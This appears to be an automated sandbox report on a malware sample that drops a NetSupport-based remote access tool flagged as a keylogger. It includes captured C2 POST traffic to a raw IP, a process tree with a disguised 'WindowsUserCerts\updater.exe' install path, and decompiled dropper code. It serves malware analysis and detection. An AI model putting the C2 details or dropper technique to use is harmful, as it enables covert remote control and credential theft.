Timestamp	kBytes transferred	Direction	Data
Aug 5, 2021 23:40:51.657938004 CEST	1168	OUT	POST http://188.165.207.8/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 188.165.207.8Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Aug 5, 2021 23:40:51.686830997 CEST	1168	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 60Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \Wbb)w}oXxf Data Raw: Data Ascii:
Aug 5, 2021 23:40:51.692610025 CEST	1169	OUT	POST http://188.165.207.8/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 232Host: 188.165.207.8Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raLDeg#rtr5=IfKsJDs(MQYz8gFV{rSM%=n;Rue'_$B(K,WarHE*9W_z8A ] Data Raw: Data Ascii:
Aug 5, 2021 23:40:51.722346067 CEST	1169	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 152Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~7s4}X),,Dq,()4]%y-A9H=n :!b<DmwN\{'u=@>$Rb'h[TjI Data Raw: Data Ascii:
Aug 5, 2021 23:40:51.723800898 CEST	1169	OUT	POST http://188.165.207.8/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 77Host: 188.165.207.8Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$CwU-=I?sq Data Raw: Data Ascii:
Aug 5, 2021 23:41:51.968988895 CEST	7590	OUT	POST http://188.165.207.8/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 188.165.207.8Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49747	62.172.138.35	80	C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Timestamp	kBytes transferred	Direction	Data
Aug 5, 2021 23:40:51.756839991 CEST	1170	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 5, 2021 23:40:51.804966927 CEST	1170	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=utf-8 Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * Set-Cookie: ASPSESSIONIDAAAQQRDA=MNJHABLBCJODFHFKJPEKKKCI; path=/ X-Powered-By: ASP.NET Date: Thu, 05 Aug 2021 21:40:51 GMT Content-Length: 15 Data Raw: 34 37 2e 33 37 36 39 2c 38 2e 35 34 31 36 39 Data Ascii: 47.3769,8.54169

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: iumk21HlC8.exe PID: 6532 Parent PID: 5968

General

Start time:	23:40:39
Start date:	05/08/2021
Path:	C:\Users\user\Desktop\iumk21HlC8.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\iumk21HlC8.exe'
Imagebase:	0x10f0000
File size:	3634320 bytes
MD5 hash:	247E8D7C97DA1778E87233B14E27D7B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: BunnySwap.exe PID: 6744 Parent PID: 6532

General

Start time:	23:40:42
Start date:	05/08/2021
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP-
Imagebase:	0x400000
File size:	3621344 bytes
MD5 hash:	C8F3E604A88D2B25F9EAAF3F5CA625D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 11%, Metadefender, Browse Detection: 36%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: BunnySwap.tmp PID: 6820 Parent PID: 6744

General

Start time:	23:40:44
Start date:	05/08/2021
Path:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp' /SL5='$1B040C,2795622,780800,C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP-
Imagebase:	0x400000
File size:	3014144 bytes
MD5 hash:	11C74753D375BA44E845BFECBFE88CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 2%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: updater.exe PID: 6912 Parent PID: 6820

General

Start time:	23:40:47
Start date:	05/08/2021
Path:	C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe
Imagebase:	0x820000
File size:	115792 bytes
MD5 hash:	5C25D0078A58280BE572BFE68F5FE73C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.916336848.0000000000822000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000000.669928645.0000000000822000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: iumk21HlC8.exe PID: 6532 Parent PID: 5968 iumk21HlC8.exeCOMMON

Executed Functions

Function 0110D42A, Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0110D42A(void* __edx, void* __ebp, void* __eflags, void* __fp0, void* _a84, void* _a86, void* _a90, void* _a92, void* _a94, void* _a96, void* _a98, void* _a100, void* _a104, void* _a144, void* _a148, void* _a196) {
				char _v208;
				void* __ebx;
				void* __edi;
				void* _t41;
				void* _t42;
				long _t51;
				void* _t54;
				intOrPtr _t58;
				struct HWND__* _t74;
				void* _t75;
				WCHAR* _t94;
				struct HINSTANCE__* _t95;
				intOrPtr _t96;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t121;

				_t121 = __fp0;
				_t99 = __ebp;
				_t88 = __edx;
				E0110002D(__edx, 1);
				E01109D58("C:\Users\jones\Desktop", 0x800);
				E0110A2B3( &_v208); // executed
				E0110130F(0x11371e0);
				_t74 = 0;
				E0110F1A0(0x7104, 0x1145b78, 0, 0x7104);
				_t102 = _t101 + 0xc;
				_t94 = GetCommandLineW();
				_t106 = _t94;
				if(_t94 != 0) {
					_push(_t94);
					E0110BBC4(0, _t106);
					if( *0x1139471 == 0) {
						E0110D104(__eflags, _t94); // executed
					} else {
						_push(__ebp);
						_t100 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						if(_t100 != 0) {
							UnmapViewOfFile(_t75);
							_t74 = 0;
						}
						CloseHandle(_t100);
						_pop(_t99);
					}
				}
				GetModuleFileNameW(_t74, 0x114cc88, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x114cc88); // executed
				GetLocalTime(_t102 + 0xc);
				_push( *(_t102 + 0x1a) & 0x0000ffff);
				_push( *(_t102 + 0x1c) & 0x0000ffff);
				_push( *(_t102 + 0x1e) & 0x0000ffff);
				_push( *(_t102 + 0x20) & 0x0000ffff);
				_push( *(_t102 + 0x22) & 0x0000ffff);
				_push( *(_t102 + 0x22) & 0x0000ffff);
				E010F3FD6(_t102 + 0x9c, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d",  *(_t102 + 0x24) & 0x0000ffff);
				_t103 = _t102 + 0x28;
				SetEnvironmentVariableW(L"sfxstime", _t103 + 0x7c);
				_t95 = GetModuleHandleW(_t74);
				 *0x112fed4 = _t95;
				 *0x112fed0 = _t95; // executed
				_t41 = LoadIconW(_t95, 0x64); // executed
				 *0x113b574 = _t41; // executed
				_t42 = E0110AD3D(0x11371e0, _t88, _t121); // executed
				 *0x1145b74 = _t42;
				E010FD25C(0x112fee8, _t88, _t99, 0x114cc88);
				E011087A5(0);
				E011087A5(0);
				 *0x1137458 = _t103 + 0x5c;
				 *0x113745c = _t103 + 0x30; // executed
				DialogBoxParamW(_t95, L"STARTDLG", _t74, E0110AE20, _t74); // executed
				 *0x113745c = _t74;
				 *0x1137458 = _t74;
				E01108863(_t103 + 0x24);
				E01108863(_t103 + 0x50);
				_t51 =  *0x114dc98;
				if(_t51 != 0) {
					Sleep(_t51);
				}
				if( *0x1138468 != 0) {
					E0110A4C4(0x114cc88); // executed
				}
				E010FEA67(0x1145a70);
				if( *0x1137454 > 0) {
					L0111340E( *0x1137450);
				}
				DeleteObject( *0x113b574);
				_t54 =  *0x1145b74;
				if(_t54 != 0) {
					DeleteObject(_t54);
				}
				if( *0x112ff50 == 0 &&  *0x1137447 != 0) {
					E010F6F5B(0x112ff50, 0xff);
				}
				_t55 =  *0x114dc9c;
				 *0x1137447 = 1;
				if( *0x114dc9c != 0) {
					E0110D163(_t55);
					CloseHandle( *0x114dc9c);
				}
				_t96 =  *0x112ff50; // 0x0
				if( *0x114dc91 != 0) {
					_t58 =  *0x112d5fc; // 0x3e8
					if( *0x114dc92 == 0) {
						__eflags = _t58;
						if(_t58 < 0) {
							_t96 = _t96 - _t58;
							__eflags = _t96;
						}
					} else {
						_t96 =  *0x114dc94;
						if(_t58 > 0) {
							_t96 = _t96 + _t58;
						}
					}
				}
				E0110A31B(_t103 + 0x1c); // executed
				return _t96;
			}

0x0110d42a
0x0110d42a
0x0110d42a
0x0110d435
0x0110d444
0x0110d44d
0x0110d457
0x0110d461
0x0110d46a
0x0110d46f
0x0110d478
0x0110d47a
0x0110d47c
0x0110d47e
0x0110d47f
0x0110d48a
0x0110d4f7
0x0110d48c
0x0110d48c
0x0110d49f
0x0110d4a3
0x0110d4e4
0x0110d4ea
0x0110d4ea
0x0110d4ed
0x0110d4f3
0x0110d4f3
0x0110d48a
0x0110d508
0x0110d514
0x0110d51f
0x0110d52a
0x0110d530
0x0110d536
0x0110d53c
0x0110d542
0x0110d548
0x0110d55e
0x0110d563
0x0110d570
0x0110d57d
0x0110d582
0x0110d588
0x0110d58e
0x0110d594
0x0110d599
0x0110d5a4
0x0110d5a9
0x0110d5b2
0x0110d5bb
0x0110d5cb
0x0110d5da
0x0110d5df
0x0110d5e9
0x0110d5ef
0x0110d5f5
0x0110d5fe
0x0110d603
0x0110d60a
0x0110d60d
0x0110d60d
0x0110d61a
0x0110d61c
0x0110d61c
0x0110d626
0x0110d632
0x0110d63a
0x0110d63f
0x0110d646
0x0110d64c
0x0110d653
0x0110d656
0x0110d656
0x0110d663
0x0110d678
0x0110d678
0x0110d67d
0x0110d682
0x0110d68b
0x0110d68e
0x0110d699
0x0110d699
0x0110d6a6
0x0110d6ac
0x0110d6b5
0x0110d6ba
0x0110d6ca
0x0110d6cc
0x0110d6ce
0x0110d6ce
0x0110d6ce
0x0110d6bc
0x0110d6bc
0x0110d6c4
0x0110d6c6
0x0110d6c6
0x0110d6c4
0x0110d6ba
0x0110d6d4
0x0110d6e4

APIs

Part of subcall function 0110002D: GetModuleHandleW.KERNEL32(kernel32), ref: 01100042
Part of subcall function 0110002D: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 01100054
Part of subcall function 0110002D: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 01100085

Part of subcall function 01109D58: GetCurrentDirectoryW.KERNEL32(?,?), ref: 01109D60

Part of subcall function 0110A2B3: OleInitialize.OLE32(00000000), ref: 0110A2CC
Part of subcall function 0110A2B3: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0110A303
Part of subcall function 0110A2B3: SHGetMalloc.SHELL32(01137430), ref: 0110A30D

Part of subcall function 0110130F: GetCPInfo.KERNEL32(00000000,?), ref: 01101320
Part of subcall function 0110130F: IsDBCSLeadByte.KERNEL32(00000000), ref: 01101334

GetCommandLineW.KERNEL32 ref: 0110D472
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0110D499
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0110D4AA
UnmapViewOfFile.KERNEL32(00000000), ref: 0110D4E4

Part of subcall function 0110D104: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0110D11A
Part of subcall function 0110D104: SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0110D156

CloseHandle.KERNEL32(00000000), ref: 0110D4ED
GetModuleFileNameW.KERNEL32(00000000,0114CC88,00000800), ref: 0110D508
SetEnvironmentVariableW.KERNELBASE(sfxname,0114CC88), ref: 0110D514
GetLocalTime.KERNEL32(?), ref: 0110D51F
_swprintf.LIBCMT ref: 0110D55E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0110D570
GetModuleHandleW.KERNEL32(00000000), ref: 0110D577
LoadIconW.USER32(00000000,00000064), ref: 0110D58E
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AE20,00000000), ref: 0110D5DF
Sleep.KERNEL32(?), ref: 0110D60D
DeleteObject.GDI32 ref: 0110D646
DeleteObject.GDI32(?), ref: 0110D656
CloseHandle.KERNEL32 ref: 0110D699

Strings

sfxname, xrefs: 0110D50F
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0110D54F
sfxstime, xrefs: 0110D56B
C:\Users\user\Desktop, xrefs: 0110D43F
STARTDLG, xrefs: 0110D5D4
winrarsfxmappingfile.tmp, xrefs: 0110D48D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 788466649-3743209390
Opcode ID: 5a5176e417352a29877bcd8e69c675850eea1624e4b2c9bb4fee8c4d1265afdf
Instruction ID: 60849784e785c7986b7fe454d06bbcbd88f536323ddf5be71ce4a43ebd0c50e0
Opcode Fuzzy Hash: 5a5176e417352a29877bcd8e69c675850eea1624e4b2c9bb4fee8c4d1265afdf
Instruction Fuzzy Hash: 0561C371D04345ABD73EAFE5BC48F6B3BA8AB54B14F040029F655921C8DBF49894CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01109D9A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E01109D9A(WCHAR* _a4) {
				char _v4;
				char _v8;
				char _v20;
				intOrPtr* _v28;
				void* __ecx;
				struct HRSRC__* _t14;
				char _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t26;
				char* _t33;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				long _t44;
				intOrPtr* _t46;
				struct HRSRC__* _t47;

				_t14 = FindResourceW( *0x112fed0, _a4, "PNG");
				_t47 = _t14;
				if(_t47 == 0) {
					return _t14;
				}
				_t44 = SizeofResource( *0x112fed0, _t47);
				if(_t44 == 0) {
					L4:
					_t16 = 0;
					L16:
					return _t16;
				}
				_t17 = LoadResource( *0x112fed0, _t47);
				if(_t17 == 0) {
					goto L4;
				}
				_t18 = LockResource(_t17);
				_t48 = _t18;
				if(_t18 != 0) {
					_v4 = 0;
					_t19 = GlobalAlloc(2, _t44); // executed
					_t35 = _t19;
					if(_t35 == 0) {
						L15:
						_t16 = _v4;
						goto L16;
					}
					if(GlobalLock(_t35) == 0) {
						L14:
						GlobalFree(_t35);
						goto L15;
					}
					E0110F300(_t20, _t48, _t44);
					_v8 = 0;
					_push( &_v8);
					_push(0);
					_push(_t35);
					if( *0x1151178() == 0) {
						_t26 = E01109D2F(_t24, _t37, _v20, 0); // executed
						_t38 = _v28;
						_t46 = _t26;
						 *0x1122260(_t38);
						 *((intOrPtr*)( *((intOrPtr*)( *_t38 + 8))))();
						if(_t46 != 0) {
							 *((intOrPtr*)(_t46 + 8)) = 0;
							if( *((intOrPtr*)(_t46 + 8)) == 0) {
								_push(0xffffff);
								_t33 =  &_v20;
								_push(_t33);
								_push( *((intOrPtr*)(_t46 + 4)));
								L0110E08E(); // executed
								if(_t33 != 0) {
									 *((intOrPtr*)(_t46 + 8)) = _t33;
								}
							}
							 *0x1122260(1);
							 *((intOrPtr*)( *((intOrPtr*)( *_t46))))();
						}
					}
					GlobalUnlock(_t35);
					goto L14;
				}
				goto L4;
			}

0x01109dac
0x01109db2
0x01109db6
0x01109eb0
0x01109eb0
0x01109dca
0x01109dce
0x01109dee
0x01109dee
0x01109eac
0x00000000
0x01109eac
0x01109dd7
0x01109ddf
0x00000000
0x00000000
0x01109de2
0x01109de8
0x01109dec
0x01109dfc
0x01109e00
0x01109e06
0x01109e0a
0x01109ea6
0x01109ea6
0x00000000
0x01109eab
0x01109e19
0x01109e9f
0x01109ea0
0x00000000
0x01109ea0
0x01109e22
0x01109e2a
0x01109e32
0x01109e33
0x01109e34
0x01109e3d
0x01109e44
0x01109e49
0x01109e4d
0x01109e57
0x01109e5d
0x01109e61
0x01109e66
0x01109e6b
0x01109e6d
0x01109e72
0x01109e76
0x01109e77
0x01109e7a
0x01109e81
0x01109e83
0x01109e83
0x01109e81
0x01109e8e
0x01109e96
0x01109e96
0x01109e61
0x01109e99
0x00000000
0x01109e99
0x00000000

APIs

FindResourceW.KERNEL32(0110AD89,PNG,?,?,?,0110AD89,00000066), ref: 01109DAC
SizeofResource.KERNEL32(00000000,00000000,?,?,?,0110AD89,00000066), ref: 01109DC4
LoadResource.KERNEL32(00000000,?,?,?,0110AD89,00000066), ref: 01109DD7
LockResource.KERNEL32(00000000,?,?,?,0110AD89,00000066), ref: 01109DE2
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0110AD89,00000066), ref: 01109E00
GlobalLock.KERNEL32 ref: 01109E11
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 01109E7A
GlobalUnlock.KERNEL32(00000000), ref: 01109E99
GlobalFree.KERNEL32 ref: 01109EA0

Strings

PNG, xrefs: 01109D9D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: aef8e28125a93fce1f04584c9cd1c4298154c2580ab91969c55b167f8830f7d2
Instruction ID: 1d44cdbd910dfcccfc2b20019ab0381bf2a5fc8799ba91d08d29a3508342bff4
Opcode Fuzzy Hash: aef8e28125a93fce1f04584c9cd1c4298154c2580ab91969c55b167f8830f7d2
Instruction Fuzzy Hash: 4C31D271A0032ABFD33A9F25DC58D2F7FA9FF85654B140528FA1982295DB71DC508B60

Uniqueness

Uniqueness Score: -1.00%

Function 010FA534, Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E010FA534(void* __edx, intOrPtr _a4, intOrPtr _a8, char _a32, short _a592, void* _a4692, WCHAR* _a4696, intOrPtr _a4700) {
				struct _WIN32_FIND_DATAW _v0;
				char _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				signed int _t43;
				signed int _t49;
				signed int _t63;
				void* _t65;
				long _t68;
				char _t69;
				signed int _t74;
				void* _t75;
				void* _t81;
				intOrPtr _t83;
				void* _t86;

				_t81 = __edx;
				E0110E1C0();
				_push(_t74);
				_t86 = _a4692;
				_t83 = _a4700;
				_t75 = _t74 | 0xffffffff;
				_push( &_v0);
				if(_t86 != _t75) {
					_t43 = FindNextFileW(_t86, ??);
					__eflags = _t43;
					if(_t43 == 0) {
						_t86 = _t75;
						_t63 = GetLastError();
						__eflags = _t63 - 0x12;
						_t11 = _t63 != 0x12;
						__eflags = _t11;
						 *((char*)(_t83 + 0x1044)) = _t63 & 0xffffff00 | _t11;
					}
					__eflags = _t86 - _t75;
					if(_t86 != _t75) {
						goto L13;
					}
				} else {
					_t65 = FindFirstFileW(_a4696, ??); // executed
					_t86 = _t65;
					if(_t86 != _t75) {
						L13:
						E010FFD96(_t83, _a4696, 0x800);
						_push(0x800);
						E010FBC3B(__eflags, _t83,  &_a32);
						_t49 = 0 + _a8;
						__eflags = _t49;
						 *(_t83 + 0x1000) = _t49;
						asm("adc ecx, 0x0");
						 *((intOrPtr*)(_t83 + 0x1008)) = _v24;
						 *((intOrPtr*)(_t83 + 0x1028)) = _v20;
						 *((intOrPtr*)(_t83 + 0x102c)) = _v16;
						 *((intOrPtr*)(_t83 + 0x1030)) = _v12;
						 *((intOrPtr*)(_t83 + 0x1034)) = _v8;
						 *((intOrPtr*)(_t83 + 0x1038)) = _v4;
						 *(_t83 + 0x103c) = _v0.dwFileAttributes;
						 *((intOrPtr*)(_t83 + 0x1004)) = _a4;
						E01100D79(_t83 + 0x1010, _t81,  &_v4);
						E01100D79(_t83 + 0x1018, _t81,  &_v24);
						E01100D79(_t83 + 0x1020, _t81,  &_v20);
					} else {
						if(E010FB5AC(_a4696,  &_a592, 0x800) == 0) {
							L4:
							_t68 = GetLastError();
							if(_t68 == 2 || _t68 == 3 || _t68 == 0x12) {
								_t69 = 0;
								__eflags = 0;
							} else {
								_t69 = 1;
							}
							 *((char*)(_t83 + 0x1044)) = _t69;
						} else {
							_t86 = FindFirstFileW( &_a592,  &_v0);
							if(_t86 != _t75) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t83 + 0x1040) =  *(_t83 + 0x1040) & 0x00000000;
				return _t86;
			}

0x010fa534
0x010fa539
0x010fa53e
0x010fa541
0x010fa54d
0x010fa554
0x010fa55c
0x010fa55f
0x010fa5d2
0x010fa5d8
0x010fa5da
0x010fa5dc
0x010fa5de
0x010fa5e4
0x010fa5e7
0x010fa5e7
0x010fa5ea
0x010fa5ea
0x010fa5f0
0x010fa5f2
0x00000000
0x00000000
0x010fa561
0x010fa568
0x010fa56e
0x010fa572
0x010fa5f8
0x010fa601
0x010fa606
0x010fa60d
0x010fa618
0x010fa618
0x010fa61c
0x010fa626
0x010fa629
0x010fa633
0x010fa63d
0x010fa647
0x010fa651
0x010fa65b
0x010fa665
0x010fa66f
0x010fa67c
0x010fa68c
0x010fa69c
0x010fa578
0x010fa58f
0x010fa5aa
0x010fa5aa
0x010fa5b3
0x010fa5c4
0x010fa5c4
0x010fa5bf
0x010fa5c1
0x010fa5c1
0x010fa5c6
0x010fa591
0x010fa5a4
0x010fa5a8
0x00000000
0x00000000
0x00000000
0x00000000
0x010fa5a8
0x010fa58f
0x010fa572
0x010fa6a1
0x010fa6b4

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,010FA42F,000000FF,?,?), ref: 010FA568
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,010FA42F,000000FF,?,?), ref: 010FA59E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,010FA42F,000000FF,?,?), ref: 010FA5AA
FindNextFileW.KERNEL32(?,?,?,?,?,?,010FA42F,000000FF,?,?), ref: 010FA5D2
GetLastError.KERNEL32(?,?,?,?,010FA42F,000000FF,?,?), ref: 010FA5DE

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 2520ab21edf48e6fa785169acf41387b2fa728c8178196626f5ac863a3f4800b
Instruction ID: 964e9fbee161ae2e4fa5a5b97ebfe383f5782764ada152305ba9669651175459
Opcode Fuzzy Hash: 2520ab21edf48e6fa785169acf41387b2fa728c8178196626f5ac863a3f4800b
Instruction Fuzzy Hash: BA415076604642AFC325EF68C884ADEF7E8BF48354F040A2DF6EDD3240D774A5948B91

Uniqueness

Uniqueness Score: -1.00%

Function 01117363, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01117363(int _a4) {
				void* _t14;
				void* _t16;

				if(E0111A6B6(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E011173E8(_t14, _t16, _a4);
				ExitProcess(_a4);
			}

0x0111736f
0x0111738b
0x0111738b
0x01117394
0x0111739d

APIs

GetCurrentProcess.KERNEL32(?,?,01117339,?,0112AAB8,0000000C,01117490,?,00000002,00000000), ref: 01117384
TerminateProcess.KERNEL32(00000000,?,01117339,?,0112AAB8,0000000C,01117490,?,00000002,00000000), ref: 0111738B
ExitProcess.KERNEL32 ref: 0111739D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 24392acc4d54bf89e957f2c0cb3f76c6ae39f56ac585459361b9591829c8336e
Instruction ID: c69dd3c95e4354f58655077373c03932aa5a678c9253dc7eb56e12bf88369804
Opcode Fuzzy Hash: 24392acc4d54bf89e957f2c0cb3f76c6ae39f56ac585459361b9591829c8336e
Instruction Fuzzy Hash: 3EE08C35010208BFCF296F24D909A4C7F2AEF40341F004434FD499B269CB39DD92CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010F8525, Relevance: 3.9, APIs: 2, Instructions: 945
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E010F8525(intOrPtr __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t371;
				signed int _t375;
				signed int _t376;
				signed int _t381;
				signed int _t387;
				void* _t389;
				signed int _t390;
				signed int _t394;
				signed int _t395;
				signed int _t400;
				signed int _t405;
				signed int _t406;
				signed int _t410;
				signed int _t420;
				signed int _t421;
